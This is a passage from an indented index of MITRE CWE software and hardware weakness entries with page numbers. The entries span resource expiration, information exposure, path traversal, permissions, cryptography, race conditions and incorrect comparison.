  - V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p.1252)

- B CWE-605: Multiple Binds to the Same Port (p.1277)
- C CWE-672: Operation on a Resource after Expiration or Release (p.1386)
- V CWE-298: Improper Validation of Certificate Expiration (p.688)
- B CWE-324: Use of a Key Past its Expiration Date (p.752)
- B CWE-613: Insufficient Session Expiration (p.1291)
- B CWE-825: Expired Pointer Dereference (p.1612)
- V CWE-415: Double Free (p.954)
- V CWE-416: Use After Free (p.958)
- B CWE-910: Use of Expired File Descriptor (p.1677)
- B CWE-826: Premature Release of Resource During Expected Lifetime (p.1614)
- C CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
- B CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (p.1829)
- B CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.2003)
- B CWE-1282: Assumed-Immutable Data is Stored in Writable Memory (p.1962)
- B CWE-1327: Binding to an Unrestricted IP Address (p.2039)
- B CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC) (p.2048)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- C CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
- B CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information (p.1912)
- B CWE-1273: Device Unlock Credential Sharing (p.1944)
- B CWE-1295: Debug Messages Revealing Unnecessary Information (p.1985)
- B CWE-201: Insertion of Sensitive Information Into Sent Data (p.493)
- V CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1262)
- B CWE-203: Observable Discrepancy (p.497)
- B CWE-1300: Improper Protection of Physical Side Channels (p.1996)
- V CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks (p.1902)
- B CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.2003)
- B CWE-204: Observable Response Discrepancy (p.501)
- B CWE-205: Observable Behavioral Discrepancy (p.504)
- V CWE-206: Observable Internal Behavioral Discrepancy (p.505)
- V CWE-207: Observable Behavioral Discrepancy With Equivalent Products (p.507)
- B CWE-208: Observable Timing Discrepancy (p.508)
- B CWE-1254: Incorrect Comparison Logic Granularity (p.1900)
- B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
- B CWE-210: Self-generated Error Message Containing Sensitive Information (p.516)
- B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.518)
- V CWE-535: Exposure of Information Through Shell Error Message (p.1174)
- V CWE-536: Servlet Runtime Error Message Containing Sensitive Information (p.1175)
- V CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1176)
- V CWE-550: Server-generated Error Message Containing Sensitive Information (p.1191)
- B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.523)
- B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
- B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
- B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
- B CWE-214: Invocation of Process Using Visible Sensitive Information (p.525)
- V CWE-548: Exposure of Information Through Directory Listing (p.1189)
- B CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1178)
- B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
- B CWE-540: Inclusion of Sensitive Information in Source Code (p.1180)
- V CWE-531: Inclusion of Sensitive Information in Test Code (p.1170)



- V CWE-541: Inclusion of Sensitive Information in an Include File (p.1181)
- V CWE-615: Inclusion of Sensitive Information in Source Code Comments (p.1294)
- V CWE-651: Exposure of WSDL File Containing Sensitive Information (p.1350)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B CWE-23: Relative Path Traversal (p.44)
    - V CWE-24: Path Traversal: '../filedir' (p.51)
    - V CWE-25: Path Traversal: '/../filedir' (p.52)
    - V CWE-26: Path Traversal: '/dir../filename' (p.54)
    - V CWE-27: Path Traversal: 'dir../filename' (p.56)
    - V CWE-28: Path Traversal: '..filedir' (p.57)
    - V CWE-29: Path Traversal: '.filename' (p.59)
    - V CWE-30: Path Traversal: 'dir..filename' (p.61)
    - V CWE-31: Path Traversal: 'dir..\filename' (p.62)
    - V CWE-32: Path Traversal: '...' (Triple Dot) (p.64)
    - V CWE-33: Path Traversal: '...' (Multiple Dot) (p.66)
    - V CWE-34: Path Traversal: '.../' (p.68)
    - V CWE-35: Path Traversal: '.../...' (p.70)
  - B CWE-36: Absolute Path Traversal (p.72)
    - V CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
    - V CWE-38: Path Traversal: '\absolute\pathname\here' (p.77)
    - V CWE-39: Path Traversal: 'C:dirname' (p.79)
    - V CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p.81)
- B CWE-374: Passing Mutable Objects to an Untrusted Method (p.871)
- B CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
- C CWE-377: Insecure Temporary File (p.876)
  - B CWE-378: Creation of Temporary File With Insecure Permissions (p.879)
  - B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.881)
- C CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p.924)
  - B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
  - B CWE-619: Dangling Database Cursor ('Cursor Injection') (p.1300)
- B CWE-427: Uncontrolled Search Path Element (p.977)
- B CWE-428: Unquoted Search Path or Element (p.982)
- B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
- V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1108)
- V CWE-492: Use of Inner Class Containing Sensitive Data (p.1110)
- V CWE-493: Critical Public Variable Without Final Modifier (p.1117)
- V CWE-500: Public Static Field Not Marked Final (p.1133)
- V CWE-498: Cloneable Class Containing Sensitive Information (p.1130)
- V CWE-499: Serializable Class Containing Sensitive Data (p.1132)
- C CWE-522: Insufficiently Protected Credentials (p.1157)
  - B CWE-256: Plaintext Storage of a Password (p.583)
  - B CWE-257: Storing Passwords in a Recoverable Format (p.586)
  - B CWE-260: Password in Configuration File (p.596)
    - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
    - V CWE-258: Empty Password in Configuration File (p.589)
    - V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p.1197)
  - B CWE-261: Weak Encoding for Password (p.598)
  - B CWE-523: Unprotected Transport of Credentials (p.1161)
  - B CWE-549: Missing Password Field Masking (p.1190)
- B CWE-524: Use of Cache Containing Sensitive Information (p.1163)
  - V CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1164)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)
  - V CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
  - V CWE-433: Unparsed Raw Web Content Delivery (p.989)

- V CWE-220: Storage of File With Sensitive Data Under FTP Root (p.530)
- V CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1167)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1168)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1169)
- V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1179)
- V CWE-553: Command Shell in Externally Accessible Directory (p.1195)
- V CWE-582: Array Declared Public, Final, and Static (p.1237)
- V CWE-583: finalize() Method Declared Public (p.1238)
- V CWE-608: Struts: Non-private Field in ActionForm Class (p.1281)
- G CWE-642: External Control of Critical State Data (p.1330)
- B CWE-15: External Control of System or Configuration Setting (p.17)
- B CWE-426: Untrusted Search Path (p.972)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1539)
- B CWE-73: External Control of File Name or Path (p.128)
- G CWE-114: Process Control (p.268)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- V CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p.1721)
- B CWE-276: Incorrect Default Permissions (p.630)
- V CWE-277: Insecure Inherited Permissions (p.634)
- V CWE-278: Insecure Preserved Inherited Permissions (p.635)
- V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
- B CWE-281: Improper Preservation of Permissions (p.640)
- V CWE-767: Access to Critical Private Variable via Public Method (p.1498)
- V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p.6)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p.1706)
- G CWE-669: Incorrect Resource Transfer Between Spheres (p.1383)
- B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
- B CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information (p.1912)
- B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
- V CWE-1239: Improper Zeroization of Hardware Register (p.1868)
- B CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition (p.1942)
- B CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component (p.2000)
- V CWE-1330: Remanent Data Readable after Memory Erase (p.2045)
- B CWE-1342: Information Exposure through Microarchitectural State after Transient Execution (p.2071)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
- V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
- B CWE-494: Download of Code Without Integrity Check (p.1119)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
- V CWE-827: Improper Control of Document Type Definition (p.1616)
- V CWE-830: Inclusion of Web Functionality from an Untrusted Source (p.1627)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- G CWE-673: External Influence of Sphere Definition (p.1390)
- B CWE-426: Untrusted Search Path (p.972)
- G CWE-704: Incorrect Type Conversion or Cast (p.1435)

- B CWE-1389: Incorrect Parsing of Numbers with Different Radices (p.2084)
- V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1246)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - V CWE-192: Integer Coercion Error (p.463)
  - V CWE-194: Unexpected Sign Extension (p.471)
  - V CWE-195: Signed to Unsigned Conversion Error (p.474)
  - V CWE-196: Unsigned to Signed Conversion Error (p.477)
  - B CWE-197: Numeric Truncation Error (p.479)
- B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p.1654)
- G CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1439)
- B CWE-178: Improper Handling of Case Sensitivity (p.427)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B CWE-23: Relative Path Traversal (p.44)
    - V CWE-24: Path Traversal: '../filedir' (p.51)
    - V CWE-25: Path Traversal: '/../filedir' (p.52)
    - V CWE-26: Path Traversal: '/dir../filename' (p.54)
    - V CWE-27: Path Traversal: 'dir../filename' (p.56)
    - V CWE-28: Path Traversal: '..\filedir' (p.57)
    - V CWE-29: Path Traversal: '\..\filename' (p.59)
    - V CWE-30: Path Traversal: 'dir..\filename' (p.61)
    - V CWE-31: Path Traversal: 'dir..\..\filename' (p.62)
    - V CWE-32: Path Traversal: '...' (Triple Dot) (p.64)
    - V CWE-33: Path Traversal: '....' (Multiple Dot) (p.66)
    - V CWE-34: Path Traversal: '..../' (p.68)
    - V CWE-35: Path Traversal: '....//' (p.70)
  - B CWE-36: Absolute Path Traversal (p.72)
    - V CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
    - V CWE-38: Path Traversal: '\absolute\pathname\here' (p.77)
    - V CWE-39: Path Traversal: 'C:dirname' (p.79)
    - V CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p.81)
- B CWE-386: Symbolic Name not Mapping to Correct Object (p.892)
- B CWE-41: Improper Resolution of Path Equivalence (p.83)
  - V CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p.89)
  - V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p.90)
  - V CWE-44: Path Equivalence: 'file.name' (Internal Dot) (p.91)
  - V CWE-45: Path Equivalence: 'file..name' (Multiple Internal Dot) (p.92)
  - V CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p.93)
  - V CWE-47: Path Equivalence: ' filename' (Leading Space) (p.94)
  - V CWE-48: Path Equivalence: 'file name' (Internal Whitespace) (p.95)
  - V CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p.96)
  - V CWE-50: Path Equivalence: '//multiple/leading/slash' (p.97)
  - V CWE-51: Path Equivalence: '/multiple//internal/slash' (p.98)
  - V CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p.99)
  - V CWE-53: Path Equivalence: '\multiple\internal\backslash' (p.100)
  - V CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p.101)
  - V CWE-55: Path Equivalence: './.' (Single Dot Directory) (p.102)
  - V CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p.104)
  - V CWE-57: Path Equivalence: 'fakedir../readdir/filename' (p.105)
  - V CWE-58: Path Equivalence: Windows 8.3 Filename (p.106)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - B CWE-1386: Insecure Operation on Windows Junction / Mount Point (p.2082)
  - B CWE-61: UNIX Symbolic Link (Symlink) Following (p.113)
  - V CWE-62: UNIX Hard Link (p.115)
  - V CWE-64: Windows Shortcut Following (.LNK) (p.117)
  - V CWE-65: Windows Hard Link (p.119)

- B CWE-66: Improper Handling of File Names that Identify Virtual Resources (p.121)
- V CWE-67: Improper Handling of Windows Device Names (p.122)
- V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p.125)
- V CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p.126)
- V CWE-827: Improper Control of Document Type Definition (p.1616)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- B CWE-911: Improper Update of Reference Count (p.1678)
- G CWE-913: Improper Control of Dynamically-Managed Code Resources (p.1681)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- B CWE-914: Improper Control of Dynamically-Identified Variables (p.1682)
  - B CWE-621: Variable Extraction Error (p.1303)
  - B CWE-627: Dynamic Variable Evaluation (p.1314)
- B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p.1684)
  - V CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (p.2030)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
  - B CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (p.2060)
  - V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
  - B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.225)
    - V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.228)
- G CWE-922: Insecure Storage of Sensitive Information (p.1698)
  - B CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - V CWE-313: Cleartext Storage in a File or on Disk (p.731)
  - V CWE-314: Cleartext Storage in the Registry (p.733)
  - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.734)
  - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.736)
  - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.737)
  - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.739)
  - V CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable (p.1165)
  - B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p.1697)
- P CWE-682: Incorrect Calculation (p.1403)
  - B CWE-128: Wrap-around Error (p.324)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B CWE-1335: Incorrect Bitwise Shift of Integer (p.2058)
  - B CWE-1339: Insufficient Precision or Accuracy of a Real Number (p.2064)
  - B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.355)
  - B CWE-190: Integer Overflow or Wraparound (p.453)
  - B CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
  - B CWE-193: Off-by-one Error (p.466)
  - B CWE-369: Divide By Zero (p.865)
  - V CWE-467: Use of sizeof() on a Pointer Type (p.1050)
  - B CWE-468: Incorrect Pointer Scaling (p.1053)
  - B CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
- P CWE-691: Insufficient Control Flow Management (p.1420)
  - B CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls (p.1926)
  - B CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (p.1960)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-1223: Race Condition for Write-Once Attributes (p.1849)



- B CWE-1298: Hardware Logic Contains Race Conditions (p.1991)
- B CWE-364: Signal Handler Race Condition (p.851)
  - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.988)
  - B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p.1617)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
  - B CWE-831: Signal Handler Function Associated with Multiple Signals (p.1629)
- B CWE-366: Race Condition within a Thread (p.856)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
  - B CWE-363: Race Condition Enabling Link Following (p.849)
- B CWE-368: Context Switching Race Condition (p.863)
- B CWE-421: Race Condition During Access to Alternate Channel (p.965)
- B CWE-689: Permission Race Condition During Resource Copy (p.1416)
- B CWE-430: Deployment of Wrong Handler (p.985)
- B CWE-431: Missing Handler (p.986)
- C CWE-662: Improper Synchronization (p.1363)
  - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
  - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1365)
    - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
    - V CWE-558: Use of getlogin() in Multithreaded Application (p.1199)
  - C CWE-667: Improper Locking (p.1375)
    - B CWE-1232: Improper Lock Behavior After Power State Transition (p.1857)
    - B CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1859)
    - B CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks (p.1861)
    - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
    - B CWE-413: Improper Resource Locking (p.950)
      - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
    - B CWE-414: Missing Lock Check (p.953)
    - B CWE-609: Double-Checked Locking (p.1283)
    - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
    - B CWE-765: Multiple Unlocks of a Critical Resource (p.1494)
    - B CWE-832: Unlock of a Resource that is not Locked (p.1631)
    - B CWE-833: Deadlock (p.1632)
- B CWE-820: Missing Synchronization (p.1601)
  - V CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)
  - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
- B CWE-821: Incorrect Synchronization (p.1603)
  - B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1788)
  - B CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels (p.1924)
    - V CWE-572: Call to Thread run() instead of start() (p.1221)
    - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1224)
- C CWE-670: Always-Incorrect Control Flow Implementation (p.1384)
  - B CWE-480: Use of Incorrect Operator (p.1087)
    - V CWE-481: Assigning instead of Comparing (p.1090)
    - V CWE-482: Comparing instead of Assigning (p.1093)
    - V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
  - B CWE-483: Incorrect Block Delimitation (p.1095)
  - B CWE-484: Omitted Break Statement in Switch (p.1097)
  - B CWE-617: Reachable Assertion (p.1297)
  - B CWE-698: Execution After Redirect (EAR) (p.1431)
  - B CWE-783: Operator Precedence Logic Error (p.1536)
- C CWE-696: Incorrect Behavior Order (p.1426)

- B CWE-1190: DMA Device Enabled Too Early in Boot Phase (p.1831)
- B CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control (p.1837)
- B CWE-1280: Access Control Check Implemented After Asset is Accessed (p.1958)
- B CWE-179: Incorrect Behavior Order: Early Validation (p.430)
- V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
- V CWE-181: Incorrect Behavior Order: Validate Before Filter (p.435)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p.942)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1192)
- C CWE-705: Incorrect Control Flow Scoping (p.1437)
- B CWE-248: Uncaught Exception (p.566)
- B CWE-600: Uncaught Exception in Servlet (p.1264)
- V CWE-382: J2EE Bad Practices: Use of System.exit() (p.883)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.906)
- B CWE-396: Declaration of Catch for Generic Exception (p.908)
- B CWE-397: Declaration of Throws for Generic Exception (p.910)
- B CWE-455: Non-exit on Failed Initialization (p.1028)
- B CWE-584: Return Inside Finally Block (p.1240)
- B CWE-698: Execution After Redirect (EAR) (p.1431)
- V CWE-768: Incorrect Short Circuit Evaluation (p.1500)
- C CWE-799: Improper Control of Interaction Frequency (p.1582)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
- B CWE-837: Improper Enforcement of a Single, Unique Action (p.1640)
- C CWE-834: Excessive Iteration (p.1634)
- B CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context (p.2033)
- C CWE-674: Uncontrolled Recursion (p.1391)
- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1636)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p.1649)
- P CWE-693: Protection Mechanism Failure (p.1422)
- C CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations (p.1738)
- B CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications (p.1889)
- B CWE-1253: Incorrect Selection of Fuse Values (p.1898)
- B CWE-1269: Product Released in Non-Release Configuration (p.1936)
- B CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques (p.1955)
- B CWE-1291: Public Key Re-Use for Signing both Debug and Production Code (p.1978)
- B CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses (p.2023)
- B CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI) (p.2026)
- B CWE-1326: Missing Immutable Root of Trust in Hardware (p.2037)
- B CWE-1338: Improper Protections Against Hardware Overheating (p.2062)
- B CWE-182: Collapse of Data into Unsafe Value (p.437)
- B CWE-184: Incomplete List of Disallowed Inputs (p.441)
- C CWE-311: Missing Encryption of Sensitive Data (p.718)
- B CWE-312: Cleartext Storage of Sensitive Information (p.725)
- V CWE-313: Cleartext Storage in a File or on Disk (p.731)
- V CWE-314: Cleartext Storage in the Registry (p.733)
- V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.734)
- V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.736)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.737)
- V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.739)
- V CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable (p.1165)
- B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
- V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)

- V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1292)
- G CWE-326: Inadequate Encryption Strength (p.756)
- B CWE-328: Use of Weak Hash (p.765)
- G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
- B CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation (p.1869)
- B CWE-328: Use of Weak Hash (p.765)
- V CWE-780: Use of RSA Algorithm without OAEP (p.1531)
- B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1688)
- V CWE-759: Use of a One-Way Hash without a Salt (p.1474)
- V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1479)
- G CWE-330: Use of Insufficiently Random Values (p.772)
- B CWE-1204: Generation of Weak Initialization Vector (IV) (p.1838)
- V CWE-329: Generation of Predictable IV with CBC Mode (p.769)
- B CWE-1241: Use of Predictable Algorithm in Random Number Generator (p.1875)
- B CWE-331: Insufficient Entropy (p.778)
- V CWE-332: Insufficient Entropy in PRNG (p.781)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.783)
- B CWE-334: Small Space of Random Values (p.784)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
- B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
- V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
- V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
- V CWE-339: Small Seed Space in PRNG (p.796)
- B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
- G CWE-340: Generation of Predictable Numbers or Identifiers (p.798)
- B CWE-341: Predictable from Observable State (p.799)
- B CWE-342: Predictable Exact Value from Previous Values (p.801)
- B CWE-343: Predictable Value Range from Previous Values (p.802)
- B CWE-344: Use of Invariant Value in Dynamically Changing Context (p.804)
- V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.750)
- B CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
- V CWE-259: Use of Hard-coded Password (p.591)
- V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- G CWE-345: Insufficient Verification of Data Authenticity (p.805)
- B CWE-1293: Missing Source Correlation of Multiple Independent Data (p.1982)
- G CWE-346: Origin Validation Error (p.808)
- V CWE-1385: Missing Origin Validation in WebSockets (p.2080)
- B CWE-347: Improper Verification of Cryptographic Signature (p.811)
- B CWE-348: Use of Less Trusted Source (p.813)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
- B CWE-351: Insufficient Type Distinction (p.820)
- B CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
- B CWE-353: Missing Support for Integrity Check (p.828)
- B CWE-354: Improper Validation of Integrity Check Value (p.830)
- B CWE-360: Trust of System Event Data (p.840)
- V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p.966)
- B CWE-494: Download of Code Without Integrity Check (p.1119)
- V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p.1295)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1341)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1346)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1701)
- B CWE-357: Insufficient UI Warning of Dangerous Operations (p.833)
- B CWE-450: Multiple Interpretations of UI Input (p.1019)



- B CWE-358: Improperly Implemented Security Check for Standard (p.834)
- C CWE-424: Improper Protection of Alternate Path (p.968)
  - B CWE-425: Direct Request ('Forced Browsing') (p.969)
- C CWE-602: Client-Side Enforcement of Server-Side Security (p.1271)
  - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
  - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1539)
  - B CWE-603: Use of Client-Side Authentication (p.1275)
- B CWE-653: Improper Isolation or Compartmentalization (p.1353)
  - B CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (p.1829)
  - B CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.2003)
  - B CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC) (p.2048)
- B CWE-654: Reliance on a Single Factor in a Security Decision (p.1355)
  - B CWE-308: Use of Single-factor Authentication (p.713)
  - B CWE-309: Use of Password System for Primary Authentication (p.716)
- B CWE-655: Insufficient Psychological Acceptability (p.1357)
- B CWE-656: Reliance on Security Through Obscurity (p.1359)
- B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1471)
- B CWE-778: Insufficient Logging (p.1525)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
  - B CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
  - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p.817)
  - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1539)
- P CWE-697: Incorrect Comparison (p.1428)
  - C CWE-1023: Incomplete Comparison with Missing Factors (p.1731)
    - B CWE-184: Incomplete List of Disallowed Inputs (p.441)
    - V CWE-187: Partial String Comparison (p.448)
    - B CWE-478: Missing Default Case in Multiple Condition Expression (p.1079)
    - B CWE-839: Numeric Range Comparison Without Minimum Check (p.1644)
  - B CWE-1024: Comparison of Incompatible Types (p.1733)
  - B CWE-1025: Comparison Using Wrong Factors (p.1734)
    - V CWE-486: Comparison of Classes by Name (p.1100)
    - V CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
    - V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
- C CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations (p.1738)
  - V CWE-1077: Floating Point Comparison with Incorrect Operator (p.1778)
- B CWE-1254: Incorrect Comparison Logic Granularity (p.1900)
- B CWE-183: Permissive List of Allowed Inputs (p.439)
  - V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1717)
- C CWE-185: Incorrect Regular Expression (p.444)
  - B CWE-186: Overly Restrictive Regular Expression (p.447)
  - B CWE-625: Permissive Regular Expression (p.1309)
